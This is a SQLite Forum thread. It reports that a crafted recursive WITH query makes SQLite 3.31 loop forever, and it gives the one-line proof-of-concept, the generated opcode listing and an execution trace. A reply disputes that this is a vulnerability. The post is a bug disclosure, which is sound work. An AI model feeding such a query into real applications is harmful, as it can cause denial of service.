SQLite Forum

infinite loop in the generated opcode caused by the inappropriate handling of crafted statement
Login

infinite loop in the generated opcode caused by the inappropriate handling of crafted statement

(1) By Zhuo Zhang (izhuer) on 2020-04-24 06:28:49 [link] [source]

In the latest version of sqlite (3.31 release and 3.32 dev), a crafted WITH statement can compromise the opcode generation logic, which results in an infinite loop problem. This vulnerability may result in denial of service of the target application that using sqlite. Note that this vulnerability is different from the one of https://sqlite.org/forum/info/5c580535edd4b3b0.

The poc is as followed:


WITH a AS ( SELECT 1 WHERE 1 UNION ALL SELECT * FROM a a ) SELECT 1 IN a ORDER BY 1 LIMIT 1;


We also attach the generated opcode and the trace of opcode during execution as followed. We can see that infinite loop occurs within address 15 (OP_Rewind) to address 25 (OP_Goto)


Generated Opcodes


addr opcode p1 p2 p3 p4 p5 comment


0 Init 0 49 0 00 Start at 49

1 Noop 2 3 0 00

2 Integer 1 1 0 00 r[1]=1; LIMIT counter

3 Null 0 2 0 00 r[2]=NULL

4 Noop 0 0 0 00 begin IN expr

5 Integer 33 4 0 00 r[4]=33; return address

6 Once 0 33 0 00

7 OpenEphemeral 3 1 0 k(1,B) 00 nColumn=1; Result of SELECT 3

8 InitCoroutine 5 27 9 00 a

9 OpenPseudo 1 6 1 00 1 columns in r[6]

10 OpenEphemeral 4 1 0 00 nColumn=1; Queue table

11 Integer 1 7 0 00 r[7]=1

12 MakeRecord 7 1 8 00 r[8]=mkrec(r[7])

13 NewRowid 4 9 0 00 r[9]=rowi

14 Insert 4 8 9 08 intkey=r[9] data=r[8]

15 Rewind 4 26 0 00

16 NullRow 1 0 0 00

17 RowData 4 6 0 00 r[6]=data

18 Delete 4 0 0 00

19 Column 1 0 10 00 r[10]=1

20 Yield 5 0 0 00

21 Column 1 0 7 00 r[7]=a.1

22 MakeRecord 7 1 8 00 r[8]=mkrec(r[7])

23 NewRowid 4 9 0 00 r[9]=rowid

24 Insert 4 8 9 08 intkey=r[9] data=r[8]

25 Goto 0 15 0 00

26 EndCoroutine 5 0 0 00

27 InitCoroutine 5 0 9 00

28 Yield 5 33 0 00 next row of a

29 Copy 10 11 0 00 r[11]=r[10]; a.1

30 MakeRecord 11 1 12 @ 00 r[12]=mkrec(r[11])

31 IdxInsert 3 12 11 1 00 key=r[12]

32 Goto 0 28 0 00

33 Return 4 0 0 00

34 Integer 0 3 0 00 r[3]=0

35 Rewind 3 37 0 00

36 Column 3 0 3 80 r[3]=first_entry_in(3)

37 Affinity 13 1 0 @ 00 affinity(r[13])

38 Found 3 44 13 1 00 key=r[13]

39 NotNull 3 45 0 00 if r[3]!=NULL goto 45

40 Rewind 3 45 0 00

41 Column 3 0 14 00 r[14]=

42 Ne 13 45 14 00 if r[14]!=r[13] goto 45

43 Goto 0 46 0 00 end IN expr

44 Integer 1 2 0 00 r[2]=1

45 AddImm 2 0 0 00 r[2]=r[2]+0

46 ResultRow 2 1 0 00 output=r[2]

47 DecrJumpZero 1 48 0 00 if (--r[1])==0 goto 48

48 Halt 0 0 0 00

49 Integer 1 13 0 00 r[13]=1

50 Goto 0 1 0 00



Opcode Trace


0: OP_Init

49: OP_Integer

50: OP_Goto

1: OP_Noop

2: OP_Integer

3: OP_Null

4: OP_Noop

5: OP_Integer

6: OP_Once

7: OP_OpenEphemeral

8: OP_InitCoroutine

27: OP_InitCoroutine

28: OP_Yield

9: OP_OpenPseudo

10: OP_OpenEphemeral

11: OP_Integer

12: OP_MakeRecord

13: OP_NewRowid

14: OP_Insert

15: OP_Rewind // first loop starts

16: OP_NullRow

17: OP_RowData

18: OP_Delete

19: OP_Column

20: OP_Yield

29: OP_Copy

30: OP_MakeRecord

31: OP_IdxInsert

32: OP_Goto

28: OP_Yield

21: OP_Column

22: OP_MakeRecord

23: OP_NewRowid

24: OP_Insert

25: OP_Goto // first loop ends

15: OP_Rewind // second loop starts

16: OP_NullRow

17: OP_RowData

18: OP_Delete

19: OP_Column

20: OP_Yield

29: OP_Copy

30: OP_MakeRecord

31: OP_IdxInsert

32: OP_Goto

28: OP_Yield

21: OP_Column

22: OP_MakeRecord

23: OP_NewRowid

24: OP_Insert

25: OP_Goto // second loop ends

...


(2) By Keith Medcalf (kmedcalf) on 2020-04-24 21:40:19 in reply to 1 [source]

The query specifies perpetual recursion. It is doing exactly what it has been asked to do. The programmer should not write SQL statements that do not have termination conditions.

If the statement came from outside the application, then your application has what is called an "SQL Injection Vulnerability" and is inherently defective.